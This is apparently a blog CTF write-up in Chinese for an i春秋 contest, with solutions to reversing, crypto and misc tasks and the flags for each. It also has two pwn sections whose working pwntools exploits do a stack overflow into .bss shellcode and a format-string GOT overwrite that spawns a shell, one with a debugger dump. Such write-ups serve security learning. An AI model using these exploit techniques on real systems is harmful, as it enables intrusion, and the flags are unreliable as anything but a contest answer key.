i春秋CTF答題賽(第三季)WriteUp
文章首發於我的博客:https://mrskye.cn
Re
幸運數字
分析 main 函數得出,只要輸入的值經過加密轉換之後等於H5wg_2g_MCif_T1ou_v7v7v
,就會返回真正 flag 。加密算法只針對字符串中的英文字符。
分析中間加密部分可知,如果密文是大寫字母,那麼明文也是大寫字母;小寫字母同理。如果想檢驗的下面給出加密部分的 c 源碼,自己加一個循環上去,看看就知道了。
#include <stdio.h>
#include <cstring>
int main()
{
char a_list[]= "N5cm_2m_SIol_Z1ua_b7b7b";
unsigned int v5=strlen(a_list)+1;
int i;
char v8;
char v9;
for(i=0;i<=v5-2;++i)
{
v8 = a_list[i];
if(v8>'Z'||v8<'A')
{
if(v8>'z'||v8<'a')
continue;
v9 = (v8 - 83) % 26 + 97;
}
else
{
v9 = (v8 - 51) % 26 + 65;
}
a_list[i] = v9;
}
printf("%s",a_list);
}
反正明文組合也不多,就爆破之。最終 exp 如下:
import string
a = "H5wg_2g_MCif_T1ou_v7v7v"
b = ""
ascii_lowercase = string.ascii_lowercase
ascii_uppercase = string.ascii_uppercase
for letter in a:
log = 0
if letter in ascii_uppercase:
for upper in ascii_uppercase:
c_upper = (ord(upper)-51)%26+65
if chr(c_upper) == letter:
b += upper
log = 1
print("[+]{} is find --> {}".format(letter,upper))
if letter in ascii_lowercase:
for lower in ascii_lowercase:
c_lower = (ord(lower)-83)%26+97
if chr(c_lower) == letter:
b += lower
log = 1
print("[+]{} is find --> {}".format(letter,lower))
if log == 0:
b += letter
print("[+]{} is find.".format(letter))
print(b)
flag
flag{T5is_2s_YOur_F1ag_h7h7h}
Misc
word
密碼:cq19
白給
flag
flag{obol0dxf-adtr-1vft-p7ng-djulcfsbil3y}
Crypto
md5_brute
將4個 md5 拿去解密得到flag。
flag
flag{wangwu-2019-1111-9527}
code
差分曼徹斯特編碼 + 十六進制轉字符串
msg1 = 0x9a9a9a6a9aa9656699a699a566995956996a996aa6a965aa9a6aa596a699665a9aa699655a696569655a9a9a9a595a6965569a59665566955a6965a9596a99aa9a9566a699aa9a969969669aa6969a9559596669
s = bin(msg1)[2:]
print s
r = ""
tmp = 0
for i in xrange(len(s) / 2):
c = s[i * 2]
if c == s[i * 2 - 1]:
r += '1'
else:
r += '0'
print hex(int(r, 2))[2:-1].decode('hex')
flag
flag{zw1tt1hl-7zcv-ebfk-akxt-i4xdsxeuv5d3}
encrypt
flag
flag{Easy!eAsy!eaSy!}
Pwn
Electrical System
64位,僅有 NX 保護的程序。通過 IDA 分析,在菜單選擇列表中,存在着棧溢出的漏洞。
分析源碼得出,在輸入 ID 時,數據(&buf)將會保存到 .bss 段,輸入地址0x6020e0
,檢查發現這個程序的 .bss 段有可執行權限。
最終利用思路:輸入 ID 時,把 shellcode 輸進去。在菜單時,輸入Check
或者Recharge
,避免exit(0)
,然後精心構造棧上數據,將 rip 覆寫爲 .bss 段地址(0x6020e0)。
Q:爲什麼需要輸入輸入
Check
或者Recharge
?A:覆寫的是 menu_brand(0x0000000000400AEE) 返回地址,即完成一次菜單選擇纔會返回上層的循環(被覆寫後則跳轉到 .bss 段),因此需要確保不會觸發 menu_brand 的 exit() 函數,所以需要輸入一個功能選項。這裏爲了簡單就選 Check 。
最終exp如下:
from pwn import *
context(os='linux',arch='amd64',log_level='debug')
#p = remote('120.55.43.255',11002)
p = process("./pwn")
p.recvuntil('ID:\n')
p.sendline(asm(shellcraft.sh()))
recharge_addr = 0x0000000000400A6F
sh_addr = 0x00000000006020E0
p.recvuntil('choice:\n')
p.sendline('Check' + 11 * 'a' + p64(sh_addr))
p.interactive()
flag
flag{8e0ab265-066c-4d9c-8cc4-bd5a425aadae}
後記
pwndbg 的 REGISTERS 查看不知道有沒有坑?在棧溢出時,實際上已經覆寫了 rip 的值,但是 REGISTERS 顯示的是原值。通過查內存(0x7fffffffdd48),可以證實 rip 已經被覆寫了。又或者將 payload 的 .bss 地址修改爲 ‘a’*0x8 ,就會報錯,然後 gdb 程序並加載生成的 core文件,查詢 rip 的值。
···
Please enter your choice:
Checkaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
Breakpoint 1, 0x0000000000400b5d in ?? ()
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
─────────────────[ REGISTERS ]─────────────────
RDI 0x7fffffffdd38 ◂— 'Checkaaaaaaaaaaaaaaaaaaaaaaaaaaa'
RSI 0x400ec7 ◂— push 0x6b6365 /* 'Check' */
RBP 0x7fffffffdd40 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaa'
RIP 0x400b5d ◂— call 0x400a3a
─────────────────[ STACK ]─────────────────
00:0000│ rsp 0x7fffffffdd30 ◂— 0x0
01:0008│ rdi 0x7fffffffdd38 ◂— 'Checkaaaaaaaaaaaaaaaaaaaaaaaaaaa'
02:0010│ rbp 0x7fffffffdd40 ◂— 'aaaaaaaaaaaaaaaaaaaaaaaa'
... ↓
05:0028│ 0x7fffffffdd58 ◂— 0x500000000
06:0030│ 0x7fffffffdd60 —▸ 0x400ce0 ◂— push r15
07:0038│ 0x7fffffffdd68 —▸ 0x7ffff7a2d830 (__libc_start_main+240) ◂— mov edi, eax
pwndbg> x/20gx 0x7fffffffdd38
0x7fffffffdd38: 0x6161616b63656843 0x6161616161616161
0x7fffffffdd48: 0x6161616161616161 0x6161616161616161
0x7fffffffdd58: 0x0000000500000000 0x0000000000400ce0
0x7fffffffdd68: 0x00007ffff7a2d830 0x0000000000000001
0x7fffffffdd78: 0x00007fffffffde48 0x00000001f7ffcca0
0x7fffffffdd88: 0x0000000000400bc6 0x0000000000000000
Car Search System
格式化字符串漏洞,關鍵代碼位置如圖:
程序只有 NX 保護。利用思路: printf 處格式化漏洞泄露出 __libc_start_main+247 地址,得出 libc 基地址,將 put.got 覆寫爲 system ,修改 v7 值,利用 read 函數讀入 /bin/sh ,調用 put 函數,觸發 system(’/bin/sh’) 。
修改 v7 值時,直接修改棧上的值,程序會down,所有可以通過指針 v8 來修改。----pumpkin9
最終exp如下:
# coding:utf-8
from pwn import *
context.terminal=['tmux','split','-h']
context.log_level = 'debug'
p = process("./pwn2")
#p = remote("120.55.43.255",11001)
elf=ELF("./pwn2")
# 自己從本地函數庫拉取
lib = ELF("./libc.so.6")
# 字符指針到buf偏移
offset = 30
# leak libc base addr
p.recvuntil("leave\n")
p.sendline("%59$p") # 偏移59在eip開頭;這裏讀取的是eip
__libc_start_main = int(p.recvline().strip("\n"),16)-247
print hex(__libc_start_main)
libc = __libc_start_main - lib.symbols['__libc_start_main']
log.success("libc base addr : 0x%x"%libc)
system = libc+lib.symbols['system']
log.success("system addr : 0x%x"%system)
# overwrite put.got to system
p.recvuntil("leave\n")
payload = fmtstr_payload(30,{elf.got["puts"]:system})
p.sendline(payload)
# leak v7 addr
p.recvuntil("leave\n")
payload = "%51$p" # v7 偏移51
p.sendline(payload)
point = int(p.recvline().strip("\n"),16)
log.success("v7 addr : 0x%x"%point)
# overwrite v7 to 102
p.recvuntil("leave\n")
payload = p32(point)+"%98c%30$hhn" #偏移30以單個字節讀入ascii爲98單個字符
p.sendline(payload)
# get shell
p.sendlineafter("ar in 7 day","/bin/sh\x00")
# gdb.attach(p)
p.interactive()